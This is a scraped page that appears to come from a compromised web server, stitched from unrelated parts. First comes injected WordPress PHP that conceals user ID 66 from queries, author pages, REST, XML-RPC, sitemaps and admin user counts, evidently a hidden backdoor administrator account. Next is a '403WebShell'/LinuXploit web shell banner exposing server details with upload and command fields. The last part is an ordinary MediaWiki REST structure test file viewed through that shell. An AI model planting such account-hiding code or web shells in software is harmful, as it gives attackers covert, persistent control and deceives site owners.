add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/tests/phpunit/structure/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/tests/phpunit/structure/RestStructureTest.php
<?php

use MediaWiki\Context\RequestContext;
use MediaWiki\HookContainer\HookContainer;
use MediaWiki\HookContainer\StaticHookRegistry;
use MediaWiki\Language\Language;
use MediaWiki\MediaWikiServices;
use MediaWiki\Message\Message;
use MediaWiki\ParamValidator\TypeDef\ArrayDef;
use MediaWiki\Permissions\SimpleAuthority;
use MediaWiki\Request\WebRequest;
use MediaWiki\Rest\CorsUtils;
use MediaWiki\Rest\EntryPoint;
use MediaWiki\Rest\Handler;
use MediaWiki\Rest\PathTemplateMatcher\PathMatcher;
use MediaWiki\Rest\RequestData;
use MediaWiki\Rest\ResponseFactory;
use MediaWiki\Rest\Router;
use MediaWiki\Rest\Validator\Validator;
use MediaWiki\Session\Session;
use MediaWiki\Tests\Unit\DummyServicesTrait;
use MediaWiki\Title\Title;
use MediaWiki\User\UserIdentityValue;
use Wikimedia\Message\MessageValue;
use Wikimedia\ObjectCache\EmptyBagOStuff;
use Wikimedia\ParamValidator\ParamValidator;
use Wikimedia\Stats\StatsFactory;
use Wikimedia\TestingAccessWrapper;

/**
 * Checks that all REST Handlers, core and extensions, conform to the conventions:
 * - parameters in path have correct PARAM_SOURCE
 * - path parameters not in path are not required
 * - do not have inconsistencies in the parameter definitions
 *
 * @coversNothing
 * @group Database
 */
class RestStructureTest extends MediaWikiIntegrationTestCase {
	use DummyServicesTrait;
	use JsonSchemaAssertionTrait;

	private const SPEC_FILES = [
		'https://spec.openapis.org/oas/3.0/schema/2021-09-28#' =>
			MW_INSTALL_PATH . '/tests/phpunit/integration/includes/' .
				'Rest/Handler/data/OpenApi-3.0.json',

		'http://json-schema.org/draft-04/schema#' =>
			MW_INSTALL_PATH . '/vendor/justinrainbow/json-schema/dist/' .
				'schema/json-schema-draft-04.json',

		'https://www.mediawiki.org/schema/mwapi-1.0#' =>
			MW_INSTALL_PATH . '/docs/rest/mwapi-1.0.json',

		'https://www.mediawiki.org/schema/discovery-1.0#' =>
			MW_INSTALL_PATH . '/docs/rest/discovery-1.0.json',
	];

	/** @var ?Router */
	private $router = null;

	/**
	 * Constructs a fake MediaWikiServices instance for use in data providers.
	 */
	private function getFakeServiceContainer(): MediaWikiServices {
		$realConfig = MediaWikiServices::getInstance()->getMainConfig();

		$objectFactory = $this->getDummyObjectFactory();
		$hookContainer = new HookContainer(
			new StaticHookRegistry(),
			$objectFactory
		);

		$services = $this->createNoOpMock(
			MediaWikiServices::class,
			[
				'getMainConfig',
				'getHookContainer',
				'getObjectFactory',
				'getLocalServerObjectCache',
				'getStatsFactory',
			]
		);
		$services->method( 'getMainConfig' )->willReturn( $realConfig );
		$services->method( 'getHookContainer' )->willReturn( $hookContainer );
		$services->method( 'getObjectFactory' )->willReturn( $objectFactory );
		$services->method( 'getLocalServerObjectCache' )->willReturn( new EmptyBagOStuff() );
		$services->method( 'getStatsFactory' )->willReturn( StatsFactory::newNull() );

		return $services;
	}

	private function getRouterForDataProviders(): Router {
		static $router = null;

		if ( !$router ) {
			$language = $this->createNoOpMock( Language::class, [ 'getCode' ] );
			$language->method( 'getCode' )->willReturn( 'en' );

			$title = Title::makeTitle( NS_SPECIAL, 'Badtitle/dummy title for RestStructureTest' );
			$authority = new SimpleAuthority( new UserIdentityValue( 0, 'Testor' ), [] );

			$request = $this->createNoOpMock( WebRequest::class, [ 'getSession' ] );
			$request->method( 'getSession' )->willReturn( $this->createNoOpMock( Session::class ) );

			$context = $this->createNoOpMock(
				RequestContext::class,
				[ 'getLanguage', 'getTitle', 'getAuthority', 'getRequest' ]
			);
			$context->method( 'getLanguage' )->willReturn( $language );
			$context->method( 'getTitle' )->willReturn( $title );
			$context->method( 'getAuthority' )->willReturn( $authority );
			$context->method( 'getRequest' )->willReturn( $request );

			$responseFactory = $this->createNoOpMock( ResponseFactory::class, [ 'getFormattedMessage' ] );
			$responseFactory->method( 'getFormattedMessage' )->willReturn( '' );

			$cors = $this->createNoOpMock( CorsUtils::class );

			$services = $this->getFakeServiceContainer();

			// NOTE: createRouter() implements the logic for determining the list of route files to load.
			$entryPoint = TestingAccessWrapper::newFromClass( EntryPoint::class );
			$router = $entryPoint->createRouter(
				$services,
				$context,
				new RequestData(),
				$responseFactory,
				$cors
			);
		}

		return $router;
	}

	/**
	 * Initialize/fetch the Router instance for testing
	 * @warning Must not be called in data providers!
	 * @return Router
	 */
	private function getTestRouter(): Router {
		if ( !$this->router ) {
			$language = $this->createNoOpMock( Language::class, [ 'getCode' ] );
			$language->method( 'getCode' )->willReturn( 'en' );

			$title = Title::makeTitle( NS_SPECIAL, 'Badtitle/dummy title for RestStructureTest' );
			$authority = new SimpleAuthority( new UserIdentityValue( 0, 'Testor' ), [] );

			$request = $this->createNoOpMock( WebRequest::class, [ 'getSession' ] );
			$request->method( 'getSession' )->willReturn( $this->createNoOpMock( Session::class ) );

			$context = $this->createNoOpMock(
				RequestContext::class,
				[ 'getLanguage', 'getTitle', 'getAuthority', 'getRequest' ]
			);
			$context->method( 'getLanguage' )->willReturn( $language );
			$context->method( 'getTitle' )->willReturn( $title );
			$context->method( 'getAuthority' )->willReturn( $authority );
			$context->method( 'getRequest' )->willReturn( $request );

			$responseFactory = $this->createNoOpMock( ResponseFactory::class, [ 'getFormattedMessage' ] );
			$responseFactory->method( 'getFormattedMessage' )->willReturn( '' );

			$cors = $this->createNoOpMock( CorsUtils::class );

			$this->router = EntryPoint::createRouter(
				$this->getServiceContainer(), $context, new RequestData(), $responseFactory, $cors
			);
		}
		return $this->router;
	}

	/**
	 * @dataProvider provideRoutes
	 */
	public function testPathParameters( string $moduleName, string $method, string $path ): void {
		$router = $this->getTestRouter();
		$module = $router->getModule( $moduleName );

		$request = new RequestData( [ 'method' => $method ] );
		$handler = $module->getHandlerForPath( $path, $request, false );

		$params = $handler->getParamSettings();
		$dataName = $this->dataName();

		// Test that all parameters in the path exist and are declared as such
		$matcher = TestingAccessWrapper::newFromObject( new PathMatcher );
		$pathParams = [];
		foreach ( explode( '/', $path ) as $part ) {
			$param = $matcher->getParamName( $part );
			if ( $param !== false ) {
				$this->assertArrayHasKey( $param, $params, "Path parameter $param exists" );
				$this->assertSame( 'path', $params[$param][Handler::PARAM_SOURCE] ?? null,
					"$dataName: Path parameter {{$param}} must have PARAM_SOURCE = 'path'" );
				$pathParams[$param] = true;
			}
		}

		// Test that any path parameters not in the path aren't marked as required
		foreach ( $params as $param => $settings ) {
			if ( ( $settings[Handler::PARAM_SOURCE] ?? null ) === 'path' &&
				!isset( $pathParams[$param] )
			) {
				$this->assertFalse( $settings[ParamValidator::PARAM_REQUIRED] ?? false,
					"$dataName, parameter $param: PARAM_REQUIRED cannot be true for a path parameter "
					. 'not in the path'
				);
			}
		}

		// In case there were no path parameters
		$this->addToAssertionCount( 1 );
	}

	/**
	 * @dataProvider provideRoutes
	 */
	public function testBodyParameters( string $moduleName, string $method, string $path ): void {
		$router = $this->getTestRouter();
		$module = $router->getModule( $moduleName );

		$request = new RequestData( [ 'method' => $method ] );
		$handler = $module->getHandlerForPath( $path, $request, false );

		$bodySettings = $handler->getBodyParamSettings();

		if ( !$bodySettings ) {
			$this->addToAssertionCount( 1 );
			return;
		}

		foreach ( $bodySettings as $settings ) {
			$this->assertArrayHasKey( Handler::PARAM_SOURCE, $settings );
			$this->assertSame( 'body', $settings[Handler::PARAM_SOURCE] );

			if ( isset( $settings[ ArrayDef::PARAM_SCHEMA ] ) ) {
				try {
					$this->assertValidJsonSchema( $settings[ ArrayDef::PARAM_SCHEMA ] );
				} catch ( LogicException $e ) {
					$this->fail( "Invalid JSON schema for parameter {$settings['name']}: " . $e->getMessage() );
				}
			}
		}
	}

	/**
	 * @dataProvider provideRoutes
	 */
	public function testBodyParametersNotInParamSettings( string $moduleName, string $method, string $path ): void {
		$router = $this->getTestRouter();
		$module = $router->getModule( $moduleName );

		$request = new RequestData( [ 'method' => $method ] );
		$handler = $module->getHandlerForPath( $path, $request, false );

		$paramSettings = $handler->getParamSettings();

		if ( !$paramSettings ) {
			$this->addToAssertionCount( 1 );
			return;
		}

		foreach ( $paramSettings as $settings ) {
			$this->assertArrayHasKey( Handler::PARAM_SOURCE, $settings );
			$this->assertNotSame( 'body', $settings[Handler::PARAM_SOURCE] );
		}
	}

	public function provideModules(): Iterator {
		$router = $this->getRouterForDataProviders();

		foreach ( $router->getModuleIds() as $name ) {
			yield "Module '$name'" => [ $name ];
		}
	}

	public function provideRoutes(): Iterator {
		$router = $this->getRouterForDataProviders();

		foreach ( $router->getModuleIds() as $moduleName ) {
			$module = $router->getModule( $moduleName );

			foreach ( $module->getDefinedPaths() as $path => $methods ) {

				foreach ( $methods as $method ) {
					// NOTE: we can't use the $module object directly, since it
					//       may hold references to incorrect service instance.
					yield "Handler in module '$moduleName' for $method $path"
						=> [ $moduleName, $method, $path ];
				}
			}
		}
	}

	/**
	 * @dataProvider provideRoutes
	 */
	public function testParameters( string $moduleName, string $method, string $path ): void {
		$router = $this->getTestRouter();
		$module = $router->getModule( $moduleName );

		$request = new RequestData( [ 'method' => $method ] );
		$handler = $module->getHandlerForPath( $path, $request, false );

		$params = $handler->getParamSettings();
		foreach ( $params as $param => $settings ) {
			$method = $routeSpec['method'] ?? 'GET';
			$method = implode( ",", (array)$method );

			$this->assertParameter( $param, $settings, "Handler {$method} {$path}, parameter $param" );
		}
	}

	private function assertParameter( string $name, $settings, $msg ) {
		$router = TestingAccessWrapper::newFromObject( $this->getTestRouter() );

		$dataName = $this->dataName();
		$this->assertNotSame( '', $name, "$msg: $dataName: Name cannot be empty" );

		$paramValidator = TestingAccessWrapper::newFromObject( $router->restValidator )->paramValidator;
		$ret = $paramValidator->checkSettings( $name, $settings, [ 'source' => 'unspecified' ] );

		// REST-specific parameters
		$ret['allowedKeys'][] = Handler::PARAM_SOURCE;
		$ret['allowedKeys'][] = Handler::PARAM_DESCRIPTION;
		if ( !in_array( $settings[Handler::PARAM_SOURCE] ?? '', Validator::KNOWN_PARAM_SOURCES, true ) ) {
			$ret['issues'][Handler::PARAM_SOURCE] = "PARAM_SOURCE must be one of " . implode( ', ', Validator::KNOWN_PARAM_SOURCES );
		}

		// Check that "array" type is not used in getParamSettings
		if ( isset( $settings[ParamValidator::PARAM_TYPE] ) && $settings[ParamValidator::PARAM_TYPE] === 'array' ) {
			$this->fail( "$msg: $dataName: 'array' type is not allowed in getParamSettings" );
		}

		// Warn about unknown keys. Don't fail, they might be for forward- or back-compat.
		if ( is_array( $settings ) ) {
			$keys = array_diff(
				array_keys( $settings ),
				$ret['allowedKeys']
			);
			if ( $keys ) {
				$this->addWarning(
					"$msg: $dataName: Unrecognized settings keys were used: " . implode( ', ', $keys )
				);
			}
		}

		if ( count( $ret['issues'] ) === 1 ) {
			$this->fail( "$msg: $dataName: Validation failed: " . reset( $ret['issues'] ) );
		} elseif ( $ret['issues'] ) {
			$this->fail( "$msg: $dataName: Validation failed:\n* " . implode( "\n* ", $ret['issues'] ) );
		}

		// Check message existence
		$done = [];
		foreach ( $ret['messages'] as $msg ) {
			// We don't really care about the parameters, so do it simply
			$key = $msg->getKey();
			if ( !isset( $done[$key] ) ) {
				$done[$key] = true;
				$this->assertTrue( Message::newFromKey( $key )->exists(),
					"$msg: $dataName: Parameter message $key exists" );
			}
		}

		$description = $settings[Handler::PARAM_DESCRIPTION] ?? null;
		if ( $description && !is_string( $description ) ) {
			$this->assertInstanceOf( MessageValue::class, $description );
			$this->assertTrue(
				wfMessage( $description->getKey() )->exists(),
				'Message key of parameter description should exit: '
				. $description->getKey()
			);
		}
	}

	public function testRoutePathAndMethodForDuplicates() {
		$router = $this->getTestRouter();
		$routes = [];

		foreach ( $router->getModuleIds() as $moduleName ) {
			$module = $router->getModule( $moduleName );
			$paths = $module->getDefinedPaths();

			foreach ( $paths as $path => $methods ) {
				foreach ( $methods as $method ) {
					// NOTE: we can't use the $module object directly, since it
					//       may hold references to incorrect service instance.
					$key = "$moduleName: $method $path";

					$this->assertArrayNotHasKey( $key, $routes, "{$key} already exists in routes" );
					$routes[$key] = true;
				}
			}
		}
	}

	public static function provideModuleDefinitionFiles() {
		$conf = MediaWikiServices::getInstance()->getMainConfig();
		$entryPoint = TestingAccessWrapper::newFromClass( EntryPoint::class );
		$routeFiles = $entryPoint->getRouteFiles( $conf );

		foreach ( $routeFiles as $file ) {
			$moduleSpec = self::loadJsonData( $file );
			if ( !isset( $moduleSpec->mwapi ) ) {
				// old-school flat route file, skip
				continue;
			}
			yield $file => [ $moduleSpec ];
		}
	}

	/**
	 * @dataProvider provideModuleDefinitionFiles
	 */
	public function testModuleDefinitionFiles( stdClass $moduleSpec ) {
		$schemaFile = MW_INSTALL_PATH . '/docs/rest/mwapi-1.0.json';

		$this->assertMatchesJsonSchema( $schemaFile, $moduleSpec, self::SPEC_FILES );
	}

	/**
	 * @dataProvider provideModules
	 */
	public function testGetModuleDescription( string $moduleName ): void {
		static $infoSchema = [ '$ref' =>
			'https://www.mediawiki.org/schema/discovery-1.0#/definitions/Module'
		];

		$router = $this->getTestRouter();
		$module = $router->getModule( $moduleName );
		$info = $module->getModuleDescription();

		$this->assertMatchesJsonSchema( $infoSchema, $info, self::SPEC_FILES );
	}

	/**
	 * @dataProvider provideModules
	 */
	public function testGetOpenApiInfo( string $moduleName ): void {
		static $infoSchema = [ '$ref' =>
			'https://spec.openapis.org/oas/3.0/schema/2021-09-28#/definitions/Info'
		];

		$router = $this->getTestRouter();
		$module = $router->getModule( $moduleName );
		$info = $module->getOpenApiInfo();

		$this->assertMatchesJsonSchema( $infoSchema, $info, self::SPEC_FILES );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit